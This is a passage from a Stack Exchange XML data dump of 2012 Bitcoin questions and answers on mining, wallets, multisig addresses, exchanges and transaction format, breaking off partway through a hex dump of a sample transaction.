  <row Id="4742" PostTypeId="2" ParentId="3165" CreationDate="2012-09-17T17:57:35.747" Score="6" Body="&lt;p&gt;It gets less than 200kh/s on the CPU proof here &lt;a href=&quot;http://www.youtube.com/watch?v=rrdzam7voOg&amp;amp;list=UUdOgdYMe-hwv2_uUtYlqLDQ&amp;amp;index=1&amp;amp;feature=plcp&quot; rel=&quot;noreferrer&quot;&gt;http://www.youtube.com/watch?v=rrdzam7voOg&amp;amp;list=UUdOgdYMe-hwv2_uUtYlqLDQ&amp;amp;index=1&amp;amp;feature=plcp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1896" LastActivityDate="2012-09-17T17:57:35.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4743" PostTypeId="2" ParentId="4712" CreationDate="2012-09-17T18:03:20.127" Score="2" Body="&lt;p&gt;As long as blocks continue to download, then all is well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin client is doing a lot of disk i/o and CPU crunching when verifying each block, so hardware performance will matter.  If you have an encrypted filesystem performance issues are exacerbated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A slight improvement will come when the Bitcoin.org v0.7 client is released.   And large improvements will come with the version after when the LevelDB database is used, improving access speed to reading and writing the data and &quot;Ultraprune&quot; is implmented which lessens the amount of storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other solutions include using Simplified Payment Verification clients.  Electrum might be a choice for you to consider if your hardware is borderline for operating the full Bitcoin.org client node.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-17T18:03:20.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4744" PostTypeId="2" ParentId="4734" CreationDate="2012-09-17T18:15:55.603" Score="5" Body="&lt;p&gt;Your first question is kind of a pointless retrospective question. Sure, now that we know that overflow can be a problem in this way, we should consider transactions that attempt to overflow to be suspicious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bug was detected by inspection of the blockchain. The bad transactions stood out. Had it not been detected by inspection, sooner or later it would have been detected by the presence of too many Bitcoins circulating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no issues any more. Each individual output is now checked in a way that ensures that their sum cannot exceed the input to the transaction. Overflow is, so far as we know, no longer possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question seems to be asking if there's some &quot;magic bullet&quot; that can solve similar future problems that are presently unknown. The thing is, if there was, we wouldn't know it because we don't know what the future problems are likely to be. Sure, in retrospect, there are many things that could have been differently that would have made this particular exploit impossile.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-09-17T18:15:55.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4745" PostTypeId="1" CreationDate="2012-09-17T20:22:49.823" Score="4" ViewCount="616" Body="&lt;p&gt;Are there any major current UI wallets (desktop/mobile/web) that support creating / spending multisig transactions?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-11-05T17:04:42.357" Title="What GUI clients support multisig transactions?" Tags="|client|multi-signature|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4747" PostTypeId="2" ParentId="4684" CreationDate="2012-09-18T06:59:48.660" Score="2" Body="&lt;p&gt;For information's sake - Version 0.7 was released on 18th of September 2012 - &lt;a href=&quot;http://bitcoin.org/releases/2012/09/17/v0.7.0.html&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/releases/2012/09/17/v0.7.0.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-18T06:59:48.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4748" PostTypeId="1" CreationDate="2012-09-18T08:18:50.917" Score="3" ViewCount="425" Body="&lt;p&gt;Say I was living in Iceland and wanted to convert my local currency to Bitcoin and back. What are my options?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-18T09:53:29.680" Title="Is there a way to buy or sell Bitcoins for Iceland Kronas?" Tags="|exchanges|currencies|money|europe|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4749" PostTypeId="2" ParentId="4748" CreationDate="2012-09-18T09:53:29.680" Score="3" Body="&lt;p&gt;Trade with others who might be local:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.LocalBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.LocalBitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Forum users might check in on a thread like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=109453.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=109453.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-18T09:53:29.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4750" PostTypeId="2" ParentId="4591" CreationDate="2012-09-18T12:06:54.637" Score="2" Body="&lt;p&gt;If you have a GPU rig cluster, you ought to look at standard miners. This question should help you get started:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1/what-open-source-miner-applications-are-there&quot;&gt;What open source miner applications are there?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end you ought to try a few of them out and see which ones give you the best performance on your hardware. You can also have a look at &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mining hardware comparison Wiki page&lt;/a&gt; to see what performance you should expect from your hardware and what configuration was used to accomplish it.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-09-18T12:06:54.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4751" PostTypeId="1" CreationDate="2012-09-18T12:20:46.247" Score="2" ViewCount="382" Body="&lt;p&gt;Normally when validating a bitcoin address I Base58 decode the string, validate the checksum, throw away the checksum, and end up with 21 bytes. Then I verify that the address is fr the correct network:&#xA;If the first byte is 0x00 I have an address for the production network&#xA;If the first byte is 0x6F I have an address for the test network&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this multisig address 2N5vbPQB7pMqyVa8JRcpZdCQLQCwDZCMyfo I get 0xC4 as the first byte. &#xA;Does this mean that 0xC4 is the prefix for all multisig addresses on the production network?&#xA;In that case, what is the prefix for the test network?&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2012-09-18T13:51:42.390" Title="How do I validate the correctness of a bitcoin multisig address?" Tags="|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4752" PostTypeId="1" CreationDate="2012-09-18T12:32:50.553" Score="5" ViewCount="674" Body="&lt;p&gt;Multi signature transactions and addresses are heralded to be a good way to improve security of various Bitcoin services. However, how should one go about using them in order to achieve that goal? For example, how would an owner of an exchange, a shop, or a private user would be able to gain the most out of using multi signature transactions and/or addresses?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-12-09T02:16:56.487" Title="How can one use multi signature transactions/addresses to improve the security of their services?" Tags="|transactions|wallet|security|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4753" PostTypeId="2" ParentId="4751" CreationDate="2012-09-18T13:51:42.390" Score="2" Body="&lt;p&gt;Multisig addresses are defined as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;base58(0x05 + [20-byte scripthash] + [4-byte checksum])&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For testnet, it's 0xC4 instead of 0x05, indeed.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-09-18T13:51:42.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4755" PostTypeId="1" AcceptedAnswerId="4756" CreationDate="2012-09-18T16:39:23.047" Score="4" ViewCount="483" Body="&lt;p&gt;Jeff Garzik in his presentation &lt;a href=&quot;http://gtf.org/garzik/bitcoin/2012/state-of-the-coin-2012.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;State of the Coin 2012&amp;quot;&lt;/a&gt; put the following slide:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bitcoin development&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Like trying to fix and upgrade a car,&lt;br /&gt;&#xA;While the car is going 100 m.p.h.,&lt;br /&gt;&#xA;With users fighting over the driver's seat,&lt;br /&gt;&#xA;Including one big burly driver named&#xA;SatoshiDice,&lt;br /&gt;&#xA;All of whom do not really listen to the mechanic,&lt;br /&gt;&#xA;Who will lose all their money if the car crashes.&lt;br /&gt;&#xA;And this is what we call fun!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What did he mean by that reference to SatoshiDice? I wouldn't want to not get any possible jokes, hints or allegations ;).&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-10-28T18:53:20.760" Title="&quot;State of the Coin 2012&quot; and the mention of Satoshi Dice" Tags="|satoshidice|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4756" PostTypeId="2" ParentId="4755" CreationDate="2012-09-18T18:03:04.207" Score="8" Body="&lt;p&gt;There was a very controversial and heated discussion among developers and on forum started by Matt Corallo: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=87444.0&quot; rel=&quot;nofollow&quot;&gt;Huge increase in satoshidice spam over the past day&lt;/a&gt;. Essentially he proposed to police transactions priority for block inclusion to punish websites which doesn't take measures against overburdening Bitcoin Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth to note that SatoshiDice by no means was trying to DDOS Bitcoin Network. The amount of transactions is the result of its successful business model and somewhat careless implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I think SatoshiDice is a very good thing, it pushed Bitcoin Network to its limits, but not to the point where it could become dysfunctional. SatoshiDice revealed that network's choke point was disk access time to verify transactions rather then ECDSA verification time. As far as I know LevelDB implementation to store transactions history to reduce disk access time was the direct result of SatoshiDice spam. It is also accelerated development of Ultra Prune method to reduce storage requirements.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2012-09-19T20:28:50.480" LastActivityDate="2012-09-19T20:28:50.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4757" PostTypeId="1" CreationDate="2012-09-18T19:55:34.167" Score="4" ViewCount="12049" Body="&lt;p&gt;Im quite confused about this bitcoin software/system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have successfully sync'd to the network (took hours) and have recieved my address. Now, if someone is selling something for 5Bitcoins. What is the process that i have to do to remove money from my Barclays UK account and convert it bitcoins and send it to my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really do not understand the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for anyone who can clear up this confusion i have.&lt;/p&gt;&#xA;" OwnerUserId="1903" LastActivityDate="2015-08-29T13:42:29.353" Title="Transfering Money From My Bank Account To Bitcoin?" Tags="|transactions|wallet|address|" AnswerCount="2" CommentCount="0" ClosedDate="2015-08-31T17:00:01.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="4758" PostTypeId="2" ParentId="4757" CreationDate="2012-09-18T22:50:52.383" Score="-1" Body="&lt;p&gt;[--------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Apparently cash deposit at Barclays is no longer possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, Mt. Gox has a cash deposit method using Barclay's.  It does require a physical trip to the bank, I believe, but at least you withdraw cash and then deposit cash in a single visit to your bank.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/MtGox#UK_.28GBP.29&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/MtGox#UK_.28GBP.29&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a fee of 1.5% for depositing cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-----------------]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are transferring a larger amount (e.g., maybe more than £300 or so) you may wish to do an electronic bank transfer and pay the bank transfer fee instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do that from Mt. Gox (Funding) as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then once your funds are in Mt. Gox, you simply use those funds to place an order to purchase bitcoins, and then withdraw coins to your own wallet when you are done trading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update: Also, BlockChain.info/wallet now offers the purchase of bitcoins using Barclay's Pingit:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/wallet/deposit-pingit&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/deposit-pingit&lt;/a&gt; ]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-19T22:24:50.427" LastActivityDate="2012-09-19T22:24:50.427" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4759" PostTypeId="1" AcceptedAnswerId="4762" CreationDate="2012-09-18T23:08:35.603" Score="6" ViewCount="268" Body="&lt;p&gt;Since it's possible to link &lt;a href=&quot;https://bitcointalk.org/index.php?topic=103609.0&quot;&gt;non obfuscated transactions to a &quot;user&quot;&lt;/a&gt; does is make sense, or it is possible for anonymized users with an established transaction history to &quot;vouch&quot; for another?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking this would be similar to EBay's seller rating system, where people can prove they did a transaction with someone and then comment on the experience accordingly.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-09-19T14:03:01.137" Title="Vouching for (or against) the reputation of a bitcoin user" Tags="|transactions|privacy|trust|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4761" PostTypeId="1" AcceptedAnswerId="4767" CreationDate="2012-09-19T01:23:10.340" Score="5" ViewCount="929" Body="&lt;p&gt;It is clear that mining is responsible for securing the network, and it is incentivised by block payouts and transaction fees.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also seen discussions regarding different incentives for miners in the event block payouts and transaction fees are insufficient incentive for 51% of the good guys to mine the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the current proposals (or theories) that will maintain a secure Bitcoin network in the event mining is not profitable?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-20T20:59:47.970" LastActivityDate="2016-01-20T20:59:47.970" Title="Must mining be profitable for Bitcoin to succeed? If no, what are the mitigations?" Tags="|security|mining-profitability|future-proof|mining-theory|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4762" PostTypeId="2" ParentId="4759" CreationDate="2012-09-19T04:45:44.720" Score="4" Body="&lt;p&gt;There is already three rating systems in existence from different trading platforms: &lt;a href=&quot;http://bitcoin-otc.com&quot; rel=&quot;nofollow&quot;&gt;#bitcoin-otc&lt;/a&gt; , &lt;a href=&quot;http://www.bitmit.net&quot; rel=&quot;nofollow&quot;&gt;Bitmit&lt;/a&gt; and Silk Road. Bitcoin users actively using their &lt;a href=&quot;http://bitcoin-otc.com/viewratings.php&quot; rel=&quot;nofollow&quot;&gt;rated OTC identity&lt;/a&gt; to make their words more trustworthy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe integration of rating system into Bitcoin Network won't be beneficial and developers will not ever try to implement that. It is possible that in future obfuscation will be enabled by default, at least it is feasible to do it : &lt;a href=&quot;https://bitcointalk.org/index.php?topic=94155.0&quot; rel=&quot;nofollow&quot;&gt;Automatic Coin Mixing Idea&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=93390.0&quot; rel=&quot;nofollow&quot;&gt;P2P coin mixing&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2012-09-19T14:03:01.137" LastActivityDate="2012-09-19T14:03:01.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4763" PostTypeId="1" AcceptedAnswerId="4766" CreationDate="2012-09-19T05:15:14.477" Score="4" ViewCount="3184" Body="&lt;p&gt;It's pretty easy to reuse CPUs or Video cards that were previously used for Bitcoin hashing, but what can I do with FPGA hardware when the difficulty becomes too high for it to be worthwhile to mine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there competing networks I can mine for?  Are there other technologies (like email/hashcash) that can reuse the hardware with little modification?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a similar way to recycle old ASIC's when the time comes?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-06T19:06:17.537" LastActivityDate="2017-10-07T15:12:36.450" Title="What other purposes can I use my [obsolete] hashing hardware for?" Tags="|hash|asic|mining-hardware|fpga|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4764" PostTypeId="1" AcceptedAnswerId="4765" CreationDate="2012-09-19T05:41:16.000" Score="7" ViewCount="585" Body="&lt;p&gt;Similar to how the SHA256 hash competition exists to validate a transaction, I wonder if this concept can be ported to addresses, so that the first few characters is significant to a human reader.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there value in making a public key address start with human readable text?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What approaches exist to accomplish this?  Must the key pair be re-generated continuously or there there space to place a nonce?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Could this cause legal issues?  ...such as a key that contains text matching censored information which is replicated to countries that ban that information&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2014-12-17T03:53:26.120" LastActivityDate="2014-12-17T03:53:26.120" Title="Generating addresses starting with certain characters such as &quot;JoeAnonymousUserB7pMqyVa8JRcpZdCQLQ&quot;" Tags="|address|vanity-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4765" PostTypeId="2" ParentId="4764" CreationDate="2012-09-19T06:17:28.390" Score="9" Body="&lt;p&gt;Yes, the concept is known, and called &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3139/how-can-i-generate-a-vanity-bitcoin-address&quot;&gt;vanity address&lt;/a&gt;&quot;. The problem with it is that it takes a lot of computing power. However, there is also a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3853/can-one-safely-buy-vanity-addresses-from-a-third-party-without-risking-ones-coi&quot;&gt;&quot;split-key&quot; method of generating vanity addresses&lt;/a&gt;, which lets you commission other people for the computing work. And finally, I created a website called &lt;a href=&quot;https://vanitypool.appspot.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vanity Pool&lt;/a&gt; that handles a sort of free market of vanity miners and buyers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the legal issues, I have already included a so called &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3444/has-any-illegal-data-been-saved-in-the-block-chain&quot;&gt;&quot;illegal number&quot;&lt;/a&gt; in the block chain as a part of my &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88149.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;master thesis&lt;/a&gt;. So far Bitcoin hasn't been banned;).&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-09-19T06:17:28.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4766" PostTypeId="2" ParentId="4763" CreationDate="2012-09-19T06:21:06.933" Score="2" Body="&lt;p&gt;FPGAs and GPUs are reprogrammable, so you can use them for anything. FPGAs require some specialised programming, while GPUs just use OpenCL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASICs have specialised chips highly optimised for mining and only mining. I don't think they could ever be reprogrammed or reused to do anything else than mining blocks according to Bitcoin rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for what to do with that hardware, have you considered such noble causes as &lt;a href=&quot;http://folding.stanford.edu/English/HomePage&quot; rel=&quot;nofollow&quot;&gt;Folding@home&lt;/a&gt;, or perhaps less noble split-key vanity mining, for example through my &lt;a href=&quot;https://vanitypool.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;Vanity Pool website&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-19T06:21:06.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4767" PostTypeId="2" ParentId="4761" CreationDate="2012-09-19T06:30:42.330" Score="3" Body="&lt;p&gt;If there are to be people that only mine Bitcoins for living, mining has to be profitable. However, it needn't be only profitable through transaction fees and block rewards. People could subsidize the miners if needed be. Moreover, miners could be providing some paid services while mining - for example giving priority to certain transactions, embedding some messages in the block chain (advertising?), or the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would also be possible for various companies that profit form other sources than mining to run their miners at a loss. This would be similar to say, Google providing free email, social networking and web hosting, as they are gaining enough money from ads to soak up the costs. Moreover, some people could run some charity miners that would for example include 0 fee transaction or some other ones that would be shunned by normal miners. However, if such for-loss mining would be too popular, regular miners would have a smaller profit margin (higher difficulty to reward ratio). This could cause them to stop their business and leave the whole burden on the other miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, miners have a semi-regular source of new Bitcoins. They can hoard them and sell them only when they have a profit. If they have enough money to get by for awhile, they can just not sell the coins at too low a value and eventually drive the price up. I'm not sure, however, how well this would work.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="78" LastEditDate="2012-09-19T07:37:33.843" LastActivityDate="2012-09-19T07:37:33.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4768" PostTypeId="2" ParentId="3508" CreationDate="2012-09-19T06:35:00.727" Score="1" Body="&lt;p&gt;Yes, there is &lt;a href=&quot;http://minefield.bitcoinlab.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin minefield&lt;/a&gt; which is a fast paced gambling site.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="2306" LastEditDate="2015-03-17T06:20:29.347" LastActivityDate="2015-03-17T06:20:29.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4769" PostTypeId="2" ParentId="4757" CreationDate="2012-09-19T12:26:36.997" Score="0" Body="&lt;p&gt;If you don't want to deal with the hassle of an exchange you could try our new service for UK users:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/wallet/deposit-pingit&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/deposit-pingit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fee is slightly higher at 3.49%&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-09-19T12:26:36.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4770" PostTypeId="1" AcceptedAnswerId="4773" CreationDate="2012-09-19T16:26:43.510" Score="5" ViewCount="634" Body="&lt;p&gt;What is the legal money range for a bitcoin transaction message ?&#xA;I am guessing that the lower limit is one satoshi but what about an upper limit aside from the maximum block size constraint ?&lt;/p&gt;&#xA;" OwnerUserId="1657" LastActivityDate="2012-09-19T18:29:11.657" Title="What is the legal money range for a bitcoin transaction?" Tags="|transactions|block|message-verification|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4771" PostTypeId="2" ParentId="2496" CreationDate="2012-09-19T16:49:22.530" Score="1" Body="&lt;p&gt;Bitcoins are like fungible realestate.  Your public address owns &quot;title&quot; to a specific fungible quantity of bitcoin.  There are no serialized Bitcoin&quot;s&quot; or individual tokens. When you spend some bitcoin you &quot;deed&quot; a specified fungible amount to the new public address using your private key.  Private keys are stored in your &quot;wallet&quot;, which is really just a key safe.  Everyones' balance is stored in the &quot;block chain&quot;, which is a public database of all transactions.  Think of the block chain as like a realestate &quot;registrar&quot;.  New &quot;grant deeds&quot; of (currently) 50 bitcoin are granted to the &quot;miner&quot; who first solves the hash of the next block.  Solving the hash is computationally difficult and prevents counterfeiting.&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2012-09-19T16:49:22.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4773" PostTypeId="2" ParentId="4770" CreationDate="2012-09-19T18:12:17.933" Score="7" Body="&lt;p&gt;0 to 21 million BTC. (Yes, 0-BTC transactions are allowed as long as they have a fee.)&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-09-19T18:12:17.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4774" PostTypeId="2" ParentId="4770" CreationDate="2012-09-19T18:29:11.657" Score="2" Body="&lt;p&gt;For the best possible explanation, it's important to understand how a Bitcoin transaction is formatted. Here is an example of the format used for a Bitcoin transaction &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;from the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000  F9 BE B4 D9 74 78 00 00  00 00 00 00 00 00 00 00   ....tx..........&#xA;000010  02 01 00 00 E2 93 CD BE  01 00 00 00 01 6D BD DB   .............m..&#xA;000020  08 5B 1D 8A F7 51 84 F0  BC 01 FA D5 8D 12 66 E9   .[...Q........f.&#xA;000030  B6 3B 50 88 19 90 E4 B4  0D 6A EE 36 29 00 00 00   .;P......j.6)...&#xA;000040  00 8B 48 30 45 02 21 00  F3 58 1E 19 72 AE 8A C7   ..H0E.!..X..r...&#xA;000050  C7 36 7A 7A 25 3B C1 13  52 23 AD B9 A4 68 BB 3A   .6zz%;..R#...h.:&#xA;000060  59 23 3F 45 BC 57 83 80  02 20 59 AF 01 CA 17 D0   Y#?E.W... Y.....&#xA;000070  0E 41 83 7A 1D 58 E9 7A  A3 1B AE 58 4E DE C2 8D   .A.z.X.z...XN...&#xA;000080  35 BD 96 92 36 90 91 3B  AE 9A 01 41 04 9C 02 BF   5...6..;...A....&#xA;000090  C9 7E F2 36 CE 6D 8F E5  D9 40 13 C7 21 E9 15 98   .~.6.m...@..!...&#xA;0000A0  2A CD 2B 12 B6 5D 9B 7D  59 E2 0A 84 20 05 F8 FC   *.+..].}Y... ...&#xA;0000B0  4E 02 53 2E 87 3D 37 B9  6F 09 D6 D4 51 1A DA 8F   N.S..=7.o...Q...&#xA;0000C0  14 04 2F 46 61 4A 4C 70  C0 F1 4B EF F5 FF FF FF   ../FaJLp..K.....&#xA;0000D0  FF 02 40 4B 4C 00 00 00  00 00 19 76 A9 14 1A A0   ..@KL......v....&#xA;0000E0  CD 1C BE A6 E7 45 8A 7A  BA D5 12 A9 D9 EA 1A FB   .....E.z........&#xA;0000F0  22 5E 88 AC 80 FA E9 C7  00 00 00 00 19 76 A9 14   &quot;^...........v..&#xA;000100  0E AB 5B EA 43 6A 04 84  CF AB 12 48 5E FD A0 B7   ..[.Cj.....H^...&#xA;000110  8B 4E CC 52 88 AC 00 00  00 00                     .N.R......&#xA;&#xA;&#xA;Message header:&#xA; F9 BE B4 D9                                       - main network magic bytes&#xA; 74 78 00 00 00 00 00 00 00 00 00 00               - &quot;tx&quot; command&#xA; 02 01 00 00                                       - payload is 258 bytes long&#xA; E2 93 CD BE                                       - checksum of payload&#xA;&#xA;Transaction:&#xA; 01 00 00 00                                       - version&#xA;&#xA;Inputs:&#xA; 01                                                - number of transaction inputs&#xA;&#xA;Input 1:&#xA; 6D BD DB 08 5B 1D 8A F7  51 84 F0 BC 01 FA D5 8D  - previous output (outpoint)&#xA; 12 66 E9 B6 3B 50 88 19  90 E4 B4 0D 6A EE 36 29&#xA; 00 00 00 00&#xA;&#xA; 8B                                                - script is 139 bytes long&#xA;&#xA; 48 30 45 02 21 00 F3 58  1E 19 72 AE 8A C7 C7 36  - signature script (scriptSig)&#xA; 7A 7A 25 3B C1 13 52 23  AD B9 A4 68 BB 3A 59 23&#xA; 3F 45 BC 57 83 80 02 20  59 AF 01 CA 17 D0 0E 41&#xA; 83 7A 1D 58 E9 7A A3 1B  AE 58 4E DE C2 8D 35 BD&#xA; 96 92 36 90 91 3B AE 9A  01 41 04 9C 02 BF C9 7E&#xA; F2 36 CE 6D 8F E5 D9 40  13 C7 21 E9 15 98 2A CD&#xA; 2B 12 B6 5D 9B 7D 59 E2  0A 84 20 05 F8 FC 4E 02&#xA; 53 2E 87 3D 37 B9 6F 09  D6 D4 51 1A DA 8F 14 04&#xA; 2F 46 61 4A 4C 70 C0 F1  4B EF F5&#xA;&#xA; FF FF FF FF                                       - sequence&#xA;&#xA;Outputs:&#xA; 02                                                - 2 Output Transactions&#xA;&#xA;Output 1:&#xA; 40 4B 4C 00 00 00 00 00                           - 0.05 BTC (5000000)&#xA; 19                                                - pk_script is 25 bytes long&#xA;&#xA; 76 A9 14 1A A0 